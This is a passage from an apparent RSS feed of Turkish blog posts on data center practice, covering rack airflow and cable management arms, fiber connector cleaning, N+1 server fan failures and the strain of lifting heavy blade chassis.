Bir Dell PowerEdge, HPE ProLiant veya Cisco UCS sunucusu, içindeki 300 Watt'lık çift Xeon/EPYC işlemciyi soğutabilmek için saniyede yüzlerce fit küp havayı (CFM - Cubic Feet per Minute) ön ızgarasından emmek zorundadır.</p>
<p>Ön kapıya takılan o düz cam kapak (kenarlarında minicik delikler olsa bile) bir hava duvarıdır! Sunucu fanları havayı çekmeye çalışırken kabin kapağının arkasında bir <strong>vakum (negatif basınç tuzağı)</strong> oluşur. Fanlar 20.000 devirde boşuna çırpınır, hava gelmez.</p>
<p>Peki delikli (perfore) sac kapak takıldığında sorun biter mi?<br>
Hayır! İşte burada <strong>Perforasyon Yüzdesi (Perforation Percentage)</strong> devreye girer:</p>
<ul>
<li>Eski veya ucuz kabinlerin kapaklarındaki yuvarlak deliklerin toplam yüzey alanına oranı genellikle <strong>%50 ila %63</strong> arasındadır.</li>
<li>Modern kurumsal sunucu üreticilerinin şartnameleri ise en az <strong>%75 ila %80 oranında altıgen petek (hexagonal perforation)</strong> delikli kapakları zorunlu kılar.</li>
</ul>
<p>Delik oranı %60 olan bir kapak, havanın yüzde kırkını duvara çarptırıp geri püskürtür. Sunucu yeterli hava debisini çekemez ve nefessiz kalır.</p>
<hr>
<h3>Kızak Derinliği Hatası: Kabin Dikmelerinin Arkasında Kalan Sunucu</h3>
<p>İkinci büyük hata, sunucu kızaklarının (Rail Kits) kabin dikmelerine (vertical mounting rails) montajı sırasında yapılır.</p>
<p>Sunucu kabinleri 19 inç standardındadır; fakat derinlikleri 800 mm, 1000 mm veya 1200 mm olarak değişebilir. Kabinin ön ve arka dikmeleri arasındaki mesafe somunlarla ayarlanabilir.</p>
<p>Deneyimsiz bir teknisyen montaj yaparken kabin dikmelerini çok geriye veya çok öne konumlandırır.<br>
Bunun sonucunda:</p>
<ol>
<li><strong>Bezel ve Dikme Arası Boşluk:</strong> Sunucunun ön yüzü, kabin dikmesinin 5 santimetre gerisinde kalır. Kabinin ön kapağındaki o perfore deliklerden giren soğuk hava, sunucunun içine girmek yerine o 5 santimetrelik boşluktan yukarı ve aşağı kaçar.</li>
<li><strong>Kabin Yan Boşlukları (Air Baffles İhmali):</strong> Sunucunun yanlarında kalan boşluklara hava yönlendirici köpük veya plastik contalar (baffles) takılmadığı için, kasanın arkasındaki sıcak hava yan kanallardan öne sızar ve soğuk havayı daha kasanın burnuna girmeden 35 dereceye ısıtır!</li>
</ol>
<hr>
<h3>Arkadaki Katil: Kablo Yönetim Kolu (CMA) Barikatı</h3>
<p>Sunucu montajındaki en büyük ironilerden biri, üreticilerin "düzen sağlasın" diye kutuya koyduğu metal katlanır <strong>Kablo Yönetim Kollarının (CMA - Cable Management Arm)</strong> yarattığı hava tıkanıklığıdır.</p>
<p>CMA, sunucuyu ray üzerinde dışarı çektiğinizde arkadaki güç ve ağ kablolarının gerilip kopmasını engelleyen makas şeklinde katlanan metal bir koludur.</p>
<p>Mühendis ne yapar?<br>
Sunucunun arkasına 2 adet kalın güç kablosu, 4 adet Cat6 kablo, 2 adet SAS kablosu ve 4 adet fiber kablo takar. Bütün bu kabloları o metal CMA kolunun içine sıkıştırır, üzerine de kat kat cırt kelepçe sarar.</p>
<p>Sonuçta ortaya çıkan şey nedir biliyor musunuz?<br>
Kasanın arkasında tam 6 adet yüksek hızlı egzoz fanı vardır. Ve o kablo demetiyle doldurulmuş metal CMA kolu, tam da o fanların çıkış menfezinin <strong>2 santimetre önüne bir duvar gibi katlanarak yerleşir!</strong></p>
<p>Sunucu önden zor bela soğuk havayı çeker, işlemciyi soğutur; fakat ısınan o 45 derecelik havayı arkadan dışarı <strong>fırlatamaz!</strong><br>
Arka tarafta oluşan statik karşı basınç (backpressure), fanların hava üfleme verimini yarı yarıya düşürür. Sıcak hava kasanın içinde hapsolur, kasa bir termos gibi kendi ısısını tutar.</p>
<hr>
<h3>Sunucuyu Rahat Nefes Aldırmanın Kuralları</h3>
<p>Bir sunucunun termal sağlığı, odanın klimalarından çok montajın geometrik doğruluğuna bağlıdır:</p>
<ol>
<li><strong>Minimum %80 Perforasyon:</strong> Kabinlerin ön ve arka kapakları asla cam olmamalı; geniş açıklıklı altıgen petek desenli ve en az %80 hava geçirgenliğine sahip olmalıdır.</li>
<li><strong>Hava Yönlendirici Bariyerler (Air Containment / Baffles):</strong> Kabin dikmeleri ile kabin yan panelleri arasındaki tüm dikey boşluklar özel hava sızdırmazlık panelleriyle kapatılmalıdır. Soğuk koridordaki hava sadece ve sadece sunucuların içinden geçerek arkaya ulaşmalıdır.</li>
<li><strong>CMA'den Vazgeçmek:</strong> Pek çok modern hyperscale veri merkezi (Google, Meta, AWS) artık arkadaki kablo yönetim kollarını (CMA) tamamen yasaklamıştır! Kablolar doğrudan kabin dikey dikmesine esnek halkalarla sabitlenir; böylece sunucunun arka egzoz menfezlerinin önü tamamen açık, engelsiz bırakılır.</li>
<li><strong>CFM ve Basınç Ölçümü:</strong> Şüpheli kabinlerde el tipi anemometre ile kasanın önündeki hava giriş hızı ve debisi (CFM) ölçülmeli, kapağın kapalı ve açık olduğu durumdaki sıcaklık farkı kontrol edilmelidir.</li>
</ol>
<p>Tıpta laringospazm yaşayan hastaya oksijen maskesini ne kadar yaklaştırırsanız yaklaştırın hava yolunu açmadan o hastayı kurtaramazsınız.</p>
<p>Veri merkezinde de klimaların derecesini sıfıra indirseniz bile; kapağı tıkalı, kızakları yanlış, arkası kablo barikatıyla boğulmuş bir sunucunun aşırı ısınmasını engelleyemezsiniz. Havaya yol verin; çünkü hava akmıyorsa, donanım erir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Veri Merkezi</category>
            <category>Soğutma</category>
            <category>Sunucu</category>
            <category>Altyapı</category>
            <category>Donanım</category>
            <category>SysAdmin</category>
            <category>İklimlendirme</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/kabin-ici-hava-akisi-yanlis-takilan-kizaklar-ve-bogulan-sunucular/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Fiber Temizleme Kalemi" Olmadan Yola Çıkmak: Tişörte Silinen Cam Lifleri]]></title>
            <link>http://localhost:3000/blog/post/fiber-temizleme-kalemi-olmadan-yola-cikmak-tisorte-silinen-cam-lifleri</link>
            <guid>fiber-temizleme-kalemi-olmadan-yola-cikmak-tisorte-silinen-cam-lifleri</guid>
            <pubDate>Sat, 16 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Saha çantasına elli dolarlık One-Click Cleaner koymayıp fiber optik uçları tişörtüne veya ıslak mendile silen teknisyenin yarattığı optik çizikler, pişmiş yağ tabakaları ve kalıcı körlük.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/fiber-temizleme-kalemi-olmadan-yola-cikmak-tisorte-silinen-cam-lifleri/thumbnail" alt=""> Bir cerrahın veya pansuman hemşiresinin, açık bir karın ameliyatı veya derin bir doku kesisinin ortasındayken elindeki steril gazlı bezi düşürdüğünü; ardından cebinden çıkardığı buruşuk mendiliyle veya tişörtünün eteğiyle hastanın yarasındaki kanı sildiğini hayal edebilir misiniz?</p>
<p>Bunu gören herkes dehşet içinde çığlık atar. Çünkü o tişörtün kumaşı milyonlarca bakteri, mikroskobik toz zerresi, ter tuzu ve deterjan kimyasallarıyla doludur. O yara üç gün sonra alev gibi parlar, apse yapar ve hastayı septik şoka sürükler. Tıpta sterilite bir tercih veya lüks değil; varoluşsal bir mecburiyettir.</p>
<p>Telekomünikasyon altyapılarında, veri merkezlerinde ve kurumsal ağ operasyonlarında da tam olarak bu tişörtle yara silme ilkelliğini sergileyen, görünce her optik mühendisinin tüylerini diken diken eden meşhur bir saha rezaleti vardır: <strong>Fiber Optik Konnektörünü Tişörtün Eteğine veya Islak Mendile Silmek.</strong></p>
<p>Ve bu cehaletin tek bir kök sebebi vardır: Saha çantasına elli dolarlık bir "One-Click Cleaner" (Fiber Temizleme Kalemi) atmaya üşenmek veya bütçe ayırmamak.</p>
<hr>
<h3>Gece Yarısı Krizinde Tişört Refleksi</h3>
<p>Saat gece 03:20. Şirketin ana omurgasında iki kabin arasındaki 100G uplink portu flap etmektedir (sürekli kopup gelmektedir). Ağ yöneticisi arar: <em>"Ahmet, optik alıcı gücü -26 dBm'e düşmüş, ışık çok zayıf. Git o fiber kabloyu bir temizle de tak."</em></p>
<p>Ahmet eline el fenerini alır, veri merkezine iner. Kabini açar, sarı Single-Mode LC fiber kablosunu SFP28 modülünden çeker.</p>
<p>Şimdi soru şudur: Ahmet o kablonun ucundaki seramik yüksüğü (ferrule) ve içindeki 9 mikronluk cam çekirdeği neyle temizleyecektir?</p>
<p>Çantasını karıştırır; tornavidalar, konsol kabloları, pense, elektrik bandı... Ama fiber temizleme kiti yoktur!<br>
Ve o an, Türkiye'deki ve dünyadaki amatör sahaların o değişmez, gayriihtiyari refleksi devreye girer:<br>
Ahmet sol eliyle tişörtünün pamuklu eteğini gerer. Sağ elindeki fiber kablonun o incecik seramik ucunu tişörtün kumaşına bastırır ve iki kere sağa sola çevirir:<br>
<em>Şşşşt... Şşşşt...</em></p>
<p>Ardından havaya kaldırıp gözünü kısarak bakar: <em>"Hah, ayna gibi parladı!"</em></p>
<p>Kabloyu modüle geri iter: "Tık!"<br>
O an Ahmet bir kabloyu temizlediğini zanneder. Oysa mikroskobik düzeyde o kabloya ve modüle telafisi imkansız bir suikast düzenlemiştir.</p>
<hr>
<h3>Tişörtün Ucundaki Zımpara Etkisi</h3>
<p>Gözümüz kumaşı pürüzsüz, yumuşacık bir yüzey olarak algılar. Oysa bir pamuk veya polyester kumaşa mikroskop altında baktığınızda; birbirine dolanmış devasa organik iplikler, aralarına sıkışmış sert mineral tozları, çamaşır deterjanı kristalleri ve kumaş yumuşatıcısının bıraktığı kimyasal yağları görürsünüz.</p>
<p>9 mikronluk saf silika cam çekirdek için o tişört kumaşı yumuşak bir bez değil; tam anlamıyla <strong>kalın dişli bir zımpara kağıdıdır!</strong></p>
<p>Ucu kumaşa sürttüğünüz o iki saniyede ne olur?</p>
<ol>
<li><strong>Mikro Çizikler (Scratches &#x26; Pits):</strong> Kumaşın arasındaki toz kristalleri, seramik yüksüğün ve cam çekirdeğin ayna gibi parlatılmış optik yüzeyine mikroskobik onlarca derin çizik atar. Camın pürüzsüz geometrisi sonsuza kadar bozulur.</li>
<li><strong>Statik Yük Mıknatısı:</strong> Kumaş ile seramik arasındaki sürtünme devasa bir elektrostatik yük yaratır. Kabloyu havaya kaldırdığınız o yarım saniyede, odanın havasında uçuşan tüm mikroskobik tozlar bir mıknatısa çekilir gibi camın üzerine yapışır!</li>
<li><strong>Organik Yağ Sıvanması:</strong> Vücut terinden kumaşa geçmiş olan yağ asitleri, cam yüzeye homojen bir film tabakası olarak sıvanır.</li>
</ol>
<hr>
<h3>Islak Mendil Cinayeti: Pişen Parfüm Tabakası</h3>
<p>Tişörtten daha beter bir saha vahşeti var mıdır? Evet, vardır: <strong>Kolonyalı veya Parfümlü Islak Mendil!</strong></p>
<p>Bazı teknisyenler "Daha profesyonel olsun, dezenfekte edeyim" mantığıyla ceplerindeki hijyenik ıslak mendili çıkarır ve fiber ucunu onunla silerler.</p>
<p>Bu tam anlamıyla bir felakettir!<br>
Islak mendillerin içinde su, gliserin, alkol, esans ve kimyasal koruyucular bulunur.<br>
Alkol uçup gider; fakat geriye kalan o su damlacıkları, gliserin ve parfüm yağları ferrule üzerinde yapışkan, kalın bir balçık tabakası bırakır.</p>
<p>Kabloyu SFP modülünün içine soktuğunuzda ne olur biliyor musunuz?<br>
Lazer diyotu 1310 nm dalga boyunda yüksek güçlü bir ışık demeti püskürtür. O lazer ışını, camın üzerindeki o gliserin ve yağ tabakasına çarptığı anda o kimyasalları <strong>pişirir (bake-in effect)!</strong></p>
<p>Yağ tabakası yüksek lazer enerjisiyle yanarak camın üzerine kömürleşmiş mikroskobik bir leke olarak kalıcı şekilde kaynar! Artık o kabloyu da, o kablonun temas ettiği yüzlerce dolarlık SFP modülünün iç lensini de hiçbir kimyasalla temizleyemezsiniz; ikisi de çöptür.</p>
<hr>
<h3>"One-Click Cleaner" Mucizesi: 50 Dolarlık Profesyonellik</h3>
<p>İşte bütün bu trajedileri tek bir saniyede engelleyen aracın adı: <strong>One-Click Cleaner (Fiber Temizleme Kalemi).</strong></p>
<p>Bir tükenmez kaleme benzeyen bu mekanik aletin ucu, LC veya SC konnektörlerinin içine tam oturacak şekilde tasarlanmıştır.</p>
<p>İçinde tüy bırakmayan (lint-free), yüksek yoğunluklu mikrofiber özel bir kumaş şerit rulosu döner.<br>
Aleti kablonun ucuna (veya switch'teki SFP modülünün doğrudan içine!) dayarsınız.<br>
Kalemi ileri doğru hafifçe bastırırsınız:<br>
<strong>"KLİK!"</strong></p>
<p>O tek bir "klik" sesinde mekanizma üç harika şey yapar:</p>
<ol>
<li>Temizleme ucu 360 derece dönerek seramik ferrule yüzeyini süpürür.</li>
<li>İçindeki mikrofiber kumaş, üzerindeki statik elektriği nötrler ve tüm yağı, tozu kumaşın mikro gözeneklerine hapseder.</li>
<li>Kirli kumaş şeridi iç makaraya sarılır ve bir sonraki temizlik için tamamen sıfır, taze bir mikrofiber yüzey öne sürülür.</li>
</ol>
<p>İşlem süresi: <strong>1 Saniye.</strong><br>
Maliyeti: Kalem başına 40-50 dolar; tek bir kalemle <strong>800 defa</strong> temizlik yapabilirsiniz. Yani temizlik başına maliyet sadece birkaç centtir!</p>
<hr>
<h3>Profesyonel Saha Çantasının Demirbaşı</h3>
<p>Bir altyapı mühendisinin çantası onun profesyonel ahlakının aynasıdır.<br>
Çantasında beş bin liralık akıllı telefon, bin dolarlık laptop taşıyıp da elli dolarlık bir optik temizleme kalemi taşımayan bir sistemci; işine ve taşıdığı veriye saygı duymuyor demektir.</p>
<p>Fiber optik altyapılarda şu disiplin asla esnetilemez:</p>
<ul>
<li><strong>Her Çantada İki Kalem:</strong> Biri mavi (LC/MU konnektörler için 1.25 mm), biri yeşil (SC/FC/ST konnektörler için 2.5 mm) iki adet One-Click Cleaner her teknisyenin cebinde bulunmalıdır.</li>
<li><strong>Kaset Tipi Temizleyiciler (Cletop):</strong> Masa başı patch kablo sonlandırmalarında kumaş şeritli kaset temizleyiciler kullanılmalıdır.</li>
<li><strong>Tişört Yasağı:</strong> Fiber ucu kumaşa, peçeteye veya tene değdirmek şirket içinde "ağır kusur" olarak kabul edilmelidir.</li>
</ul>
<p>Tıpta hastanın yarasını tişörtüyle silen doktora nasıl katil gözüyle bakılırsa;</p>
<p>Veri merkezinde de ışık taşıyan cam lifini tişörtünün eteğine silen personele mühendis gözüyle bakılamaz.</p>
<p>Işık hızındaki bir geleceğe yürümek istiyorsanız, o ışığın yolunu modern araçlarla temiz tutmak zorundasınız. Kalemi cebinize koyun; fotonlara hak ettiği saygıyı gösterin.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Fiber Optik</category>
            <category>One-Click Cleaner</category>
            <category>Saha Operasyonu</category>
            <category>Donanım</category>
            <category>SysAdmin</category>
            <category>Altyapı</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/fiber-temizleme-kalemi-olmadan-yola-cikmak-tisorte-silinen-cam-lifleri/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Yedekli Fan" (Redundant Fan) Tuzağı: Biri Durunca Diğerinin Motor Yakması]]></title>
            <link>http://localhost:3000/blog/post/yedekli-fan-redundant-fan-tuzagi-biri-durunca-digerinin-motor-yakmasi</link>
            <guid>yedekli-fan-redundant-fan-tuzagi-biri-durunca-digerinin-motor-yakmasi</guid>
            <pubDate>Fri, 15 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Sunuculardaki N+1 fan yedekliliğinin yarattığı sahte güvenlik hissi; bozulan bir fanı değiştirmeyip kalan fanları %100 devirde yakarak tüm sistemi termal şoka sokan kompansasyon felaketi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/yedekli-fan-redundant-fan-tuzagi-biri-durunca-digerinin-motor-yakmasi/thumbnail" alt=""> Acil serviste iç kanama veya ağır anemi (kansızlık) geçiren bir hasta sedyeye geldiğinde vücudun devreye soktuğu ilk savunma refleksi "kompansatuar taşikardi"dir. Dolaşımdaki kan hacmi azaldığı için dokulara yeterli oksijen gitmez. Beyin hemen otonom sinir sistemine emir verir: <em>"Kalbi hızlandır!"</em></p>
<p>Normalde dakikada 70 atan kalp, dokulardaki oksijen açığını kapatabilmek için aniden dakikada 140-150 vuruya fırlar. Göğüs kafesi adeta bir yarış atı gibi inip kalkar. Bu harika bir biyolojik yedeklilik ve dengeleme mekanizmasıdır; hastaya birkaç saat kazandırır.</p>
<p>Fakat eğer hekim o hastaya derhal eksilen kanı takmaz ve o taşikardiye güvenip "Bakın nabzı yüksek ama tansiyonu idare ediyor, akşama bakarız" derse ne olur? Kalp kası o çılgınca devirde saatlerce çalışmaya dayanamaz; koroner damarlar kalbin kendi oksijen ihtiyacını karşılayamaz, kalp kası enfarktüs geçirir (dekompansasyon) ve hasta aniden arrest olarak masada kalır. Kompansasyon bir tedavi değil; sadece mezardan önce verilen kısa bir borç zamandır.</p>
<p>Sunucu donanımı, veri merkezi iklimlendirmesi ve kurumsal altyapı yönetiminde de tam olarak bu taşikardi dekompansasyonunu yaşayan ölümcül bir rehavet vardır: <strong>"N+1 Fan Yedekliliği Var, Acelesi Yok" Tuzağı.</strong></p>
<hr>
<h3>"Bir Tanesi Durmuş, Kalan Beş Tane Yetiyor İşte"</h3>
<p>Modern bir 1U veya 2U kurumsal sunucunun (Dell PowerEdge R750, HPE ProLiant DL380 vb.) içine baktığınızda, anakart ile disk yuvaları arasında yan yana dizilmiş 6 adet bağımsız çift rotorlu (dual-rotor) fan modülü görürsünüz.</p>
<p>Üreticiler bu mimariyi gururla pazarlar: <strong>N+1 Fan Redundancy.</strong><br>
Yani derler ki: "Bu sunucunun içindeki iki işlemciyi ve 32 RAM modülünü tam yükte soğutmak için aslında 5 fan yeterlidir. Biz kasanın içine 6 fan koyduk. Biri yansa bile sunucunuz kapanmaz, canlı yayında çalışmaya devam eder."</p>
<p>Ve bir Salı günü öğleden sonra sunucunun ön panelindeki minik LCD ekranda veya iDRAC izleme panelinde sarı renkli bir uyarı belirir:<br>
<code>WARNING: Fan 4 RPM below lower threshold. Fan Redundancy Degraded (N+1 Lost).</code></p>
<p>Dördüncü fanın mekanik bilyesi (bearing) aşınmış, motoru kilitlenmiş ve fan durmuştur.</p>
<p>Sistem yöneticisi bildirime bakar:<br>
Sunucu açık mı? Açık.<br>
Müşteriler hizmet alıyor mu? Alıyor.<br>
İşlemci sıcaklığı normal mi? Normal.<br>
O halde teşhis konulur: <em>"Aman haftaya periyodik bakımda bakarız, nasıl olsa 5 fan daha çalışıyor, sunucuda yedeklilik var."</em></p>
<p>İşte bu karar, kalan 5 fanın idam fermanının imzalandığı andır.</p>
<hr>
<h3>Kasanın İçindeki Aerodinamik Delik</h3>
<p>Bir sunucu kasasının içi rastgele bir kutu değildir; hava basıncının milimetrik olarak hesaplandığı kapalı bir rüzgar tünelidir. Fanlar öndeki soğuk havayı emer ve daracık plastik hava yönlendiricilerin (air shroud) içinden geçirerek yüksek statik basınçla arkadaki bakır soğutucu peteklere doğru fırlatır.</p>
<p>Peki o altı fandan biri durduğunda kasanın içinde ne olur?<br>
Durmuş olan o fan, sadece dönmeyi bırakmaz; <strong>kasanın içinde açık bir kaçak deliğine dönüşür!</strong></p>
<p>Kalan 5 fan havayı arkaya doğru yüksek basınçla iterken; o basınçlı havanın önemli bir kısmı arkaya gitmek yerine, duran o dördüncü fanın açık kanatçıklarının arasından <strong>ters yönde geriye, kasanın önüne doğru kaçmaya başlar!</strong> Buna aerodinamikte "geri akış" (backflow) denir.</p>
<p>Kasanın içindeki o kusursuz laminer hava akışı bir anda türbülanslı bir anafora dönüşür. İşlemcilerin üzerindeki hava debisi yarı yarıya düşer.</p>
<hr>
<h3>Anakartın Çaresiz Refleksi: 22.000 RPM Taşikardisi</h3>
<p>Sunucunun anakartındaki BMC (Baseboard Management Controller) çipi kasanın içindeki sıcaklık sensörlerini saniyede yüzlerce kez okur.</p>
<p>İşlemci sıcaklığının tırmanmaya başladığını ve bir fanın öldüğünü algıladığı o mikrosaniyelik anda anakart hayatta kalma modunu (kompansasyon) devreye sokar:<br>
<strong>Kalan tüm fanların PWM sinyalini anında %100'e çeker!</strong></p>
<p>Normalde <code>%40</code> devirle (yaklaşık 8.000 RPM) sakin ve homojen bir sesle dönen o kalan 5 fan; bir anda <strong>20.000 - 22.000 RPM</strong> hızına fırlar!</p>
<p>Kabin odasını bir anda kulakları sağır eden bir savaş uçağı kalkış sesi kaplar. Fanlar o kadar hızlı dönmektedir ki, motor sargıları cayır cayır ısınır, küçük bilyeli yataklar sürtünmeden dolayı mikron düzeyinde aşınmaya başlar.</p>
<p>Fanlar artık bir yedeklilik konforunda çalışmıyordur; can havliyle depar atmaktadırlar.<br>
Normalde beş yıl dayanması gereken o fanlar, sürekli %100 devirde çalıştıkları için termal ve mekanik yorgunluğun son sınırında titremektedir.</p>
<hr>
<h3>Domino Etkisi: İkinci Fanın Ölümü ve Termal Şok</h3>
<p>Üç gün geçer... Dört gün geçer...<br>
Yedek fan siparişi verilmemiştir, arıza ertelenmiştir.</p>
<p>Ve Cuma gecesi saat 02:30'da beklenen dekompansasyon gerçekleşir.<br>
Zaten dört gündür 22.000 devirde aralıksız çığlık atan fanlardan biri daha —örneğin Fan 5— aşırı ısınan motor sargısının erimesiyle aniden "tık" diye kilitlenir.</p>
<p>İşte o an N+1 yedeklilik bitmiş, sistem doğrudan iflas etmiştir.<br>
Kalan 4 fan artık kasanın içindeki o iki devasa geri kaçak deliğini kapatamaz. Kasanın içi fırına döner.</p>
<p>Sensörler gerçeği haykırır:<br>
<code>CPU 1 Temperature: 98°C - CRITICAL OVERHEAT.</code><br>
<code>CPU 2 Temperature: 101°C - CRITICAL OVERHEAT.</code></p>
<p>Ve sunucu, silikon transistörlerinin fiziksel olarak erimesini engellemek için son savunma refleksini çalıştırır:<br>
<strong>Emergency Thermal Shutdown (Acil Termal Kapanma).</strong></p>
<p>Sunucu kendini küt diye kapatır!<br>
Canlı veritabanları ortada kalır, dosya sistemleri kilitlenir, müşterilerin tüm servisleri karanlığa gömülür.</p>
<p>Sabah veri merkezine koşan sistemcinin gördüğü manzara: İki fanı yanmış, aşırı ısıdan RAM soketleri sararmış, yüz binlerce liralık bir hurda yığını.</p>
<hr>
<h3>Yedeklilik Bir Konfor Değil, Bir Borç Zamandır</h3>
<p>Mühendislikte "yedeklilik" kavramı, sistemlerin arızayı görmezden gelmesi için icat edilmemiştir.</p>
<p>Yedekliliğin tek bir varoluş amacı vardır: <strong>Siz yeni parçayı takana kadar sistemin ayakta kalmasını sağlayacak acil efor süresini (grace period) satın almak.</strong></p>
<p>Bir sunucuda veya switch'te tek bir fan bile arızalandığında uygulanması gereken kural şudur:</p>
<ul>
<li><strong>Kritik Alarm Seviyesi:</strong> N+1 fan kaybı "Düşük/Bilgilendirme" seviyesinde bir log değildir; "Yüksek Öncelikli (P1/P2)" bir operasyonel alarmdır.</li>
<li><strong>Raftaki Hazır Yedek Fan:</strong> Veri merkezinde çalışan her sunucu modeline ait en az 2 adet orijinal yedek fan modülü sistem odasındaki yedek parça dolabında hazır beklemelidir.</li>
<li><strong>24 Saat İçinde Değişim:</strong> Fan hot-plug'tır; sunucuyu kapatmanıza bile gerek yoktur. Kapağı açıp duran fanı çekip yenisini yerine oturtmak sadece 15 saniyedir! O 15 saniyeyi ertelemek, tüm kasanın ölüm fermanıdır.</li>
</ul>
<p>Tıpta kalbi 150 atan hastaya bakıp "Nasıl olsa yaşıyor" diyen hekim cinayet işler.</p>
<p>Veri merkezinde de fanı durmuş sunucuya bakıp "Nasıl olsa N+1 var" diyen sistemci, tüm altyapıyı göz göre göre ateşe atıyordur. Kompansasyon sizi kurtarmaz; sadece müdahale etmeniz için size yalvarır. O çağrıyı duyun.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Sunucu</category>
            <category>Donanım</category>
            <category>Soğutma</category>
            <category>SysAdmin</category>
            <category>Bakım</category>
            <category>Veri Merkezi</category>
            <category>Altyapı</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/yedekli-fan-redundant-fan-tuzagi-biri-durunca-digerinin-motor-yakmasi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Sunucu Taşırken Fıtık Olmak": 4U Blade Kasalar ve Çıplak Bedenin İmtihanı]]></title>
            <link>http://localhost:3000/blog/post/sunucu-tasirken-fitik-olmak-4u-blade-kasalar-ve-ciplak-bedenin-imtihani</link>
            <guid>sunucu-tasirken-fitik-olmak-4u-blade-kasalar-ve-ciplak-bedenin-imtihani</guid>
            <pubDate>Thu, 14 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Teoride zihinsel bir sanat olan bilişimin sahada 90 kiloluk çelik kasaları sırtlayan ameleliğe dönüştüğü an; sunucu asansörü olmayan veri merkezleri ve genç mühendislerin bel fıtığı faturası.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sunucu-tasirken-fitik-olmak-4u-blade-kasalar-ve-ciplak-bedenin-imtihani/thumbnail" alt=""> 112 ambulanslarında çalışırken meslektaşlarımın en yaygın kronik meslek hastalığı ne tükenmişlik sendromuydu ne de uykusuzluk. Açık ara birinci sırada <strong>L4-L5 disk hernisi</strong>, yani bildiğimiz adıyla <strong>bel fıtığı</strong> vardı.</p>
<p>Eski binaların daracık, döner merdivenli beşinci katından yüz yirmi kiloluk bir hastayı branda sedyeyle aşağı indirmeye çalışırken; iki genç paramedik "Biz genciz, aslanlar gibi taşırız" kibriyle eğilir, dizleri kırmak yerine belden güç alarak asılırdı. Ve o an, omurganın derinliklerinden gelen o mikroskobik "kıtırt" sesi duyulurdu. O ses; bir insanın sonraki otuz yıl boyunca sabahları yataktan iki büklüm kalkmasının, yağmurlu havalarda bacağına vuran o elektrik çarpması gibi siyatik ağrısıyla yaşamasının sessiz başlangıcıydı.</p>
<p>Üniversitelerin bilgisayar mühendisliği veya yazılım bölümlerinden mezun olan gençlerin hayalinde daima aynı steril dünya vardır: Ergonomik koltuklar, çift monitörler, mekanik klavyeler, kahve kokulu ofisler ve bulut üzerinde dönen mimari şaheserler.</p>
<p>Fakat o gencin yolu bir gün veri merkezinin soğuk koridoruna düştüğünde, kendini birdenbire sanayi sitesindeki bir motor ustasından veya inşaattaki bir demir işçisinden farksız bir fiziksel yükün altında kan ter içinde debelenirken bulur: <strong>Kabinin Otuzuncu U'suna Doksan Kiloluk Blade Sunucu Oturtma Mücadelesi.</strong></p>
<hr>
<h3>Broşürdeki Zarafet vs. Kantardaki Çelik Blok</h3>
<p>Yönetim kurulu toplantısında sunum yapılır: <em>"Efendim, veri merkezimizi modernize ediyoruz; modüler, yoğun ve enerji tasarruflu Blade mimarisine geçiyoruz. HPE BladeSystem c7000 veya Dell PowerEdge MX7000 alıyoruz."</em></p>
<p>Slaytlarda o kasalar uzay gemisi gibi parlar. İncecik çekmeceler, pürüzsüz hatlar, LED ışıklar.<br>
Satın alma departmanı yarım milyon dolarlık çeki imzalar.</p>
<p>İki hafta sonra veri merkezinin mal kabul kapısına devasa ahşap bir palet gelir.<br>
Kutuyu açarsınız. Karşınızda 10U yüksekliğinde, döküm çelikten yapılmış devasa bir canavar durur.</p>
<p>Şimdi kantar hesabını yapalım:</p>
<ul>
<li>Kasanın çıplak şasisi: Yaklaşık <strong>45 kilogram.</strong></li>
<li>İçine takılan 8 adet çift işlemcili tam donanımlı blade sunucu çekmecesi: Yaklaşık <strong>40 kilogram.</strong></li>
<li>Arkadaki 6 adet 3000 Watt'lık devasa bakır trafolu güç kaynakları (PSU): Yaklaşık <strong>18 kilogram.</strong></li>
<li>10 adet ağır fan bloğu ve 4 adet fiber/ethernet switch modülü: Yaklaşık <strong>12 kilogram.</strong></li>
</ul>
<p>Toplam ağırlık: <strong>Tamı tamına 115 KİLOGRAM!</strong></p>
<p>Bir buçuk metre derinliğindeki bir kabinin içine sokulması gereken, içinde yüz binlerce dolarlık hassas silikon taşıyan, tutacak yeri olmayan, pürüzsüz çelikten bir buzdolabı!</p>
<hr>
<h3>"Server Lift" Almayan Şirketin İki Kişilik Kurbanı</h3>
<p>Şimdi dünyanın en acımasız kurumsal cimriliğine gelelim:<br>
Yarım milyon dolarlık blade sunucuya gözünü kırpmadan para basan o şirket; kabin odasında sunucuları güvenle kaldırıp ray seviyesine getirecek olan 1.500 dolarlık hidrolik veya mekanik <strong>"Server Lift" (Sunucu Kaldırma Asansörü)</strong> aparatını almaya gelince "Bütçemiz yok, ne gerek var el arabasına?" demiştir!</p>
<p>Ve kabin odasında iki kişi baş başa kalır:<br>
Kıdemli sistem yöneticisi ve stajyer/junior mühendis.</p>
<p>Hedef: O 115 kiloluk çelik bloğu, kabinin tabanına değil; kabinin tam göğüs hizasına, yani <strong>25.U ile 35.U arasına</strong> monte etmek!</p>
<p>Fizik kuralları burada insan biyolojisine karşı savaş açar:</p>
<ol>
<li><strong>Yerçekimi ve Kaldıraç Kolu:</strong> Bir ağırlığı yerden kaldırmak görece kolaydır; bacak kaslarınızı kullanabilirsiniz. Fakat o ağırlığı göğüs hizanıza kaldırıp, kollarınızı ileriye doğru 40 santimetre uzatarak o daracık kabin rayına milimetrik olarak oturtmaya çalıştığınızda; omurganızın L4-L5 diskine binen moment ve baskı <strong>tam 700 kilograma</strong> ulaşır!</li>
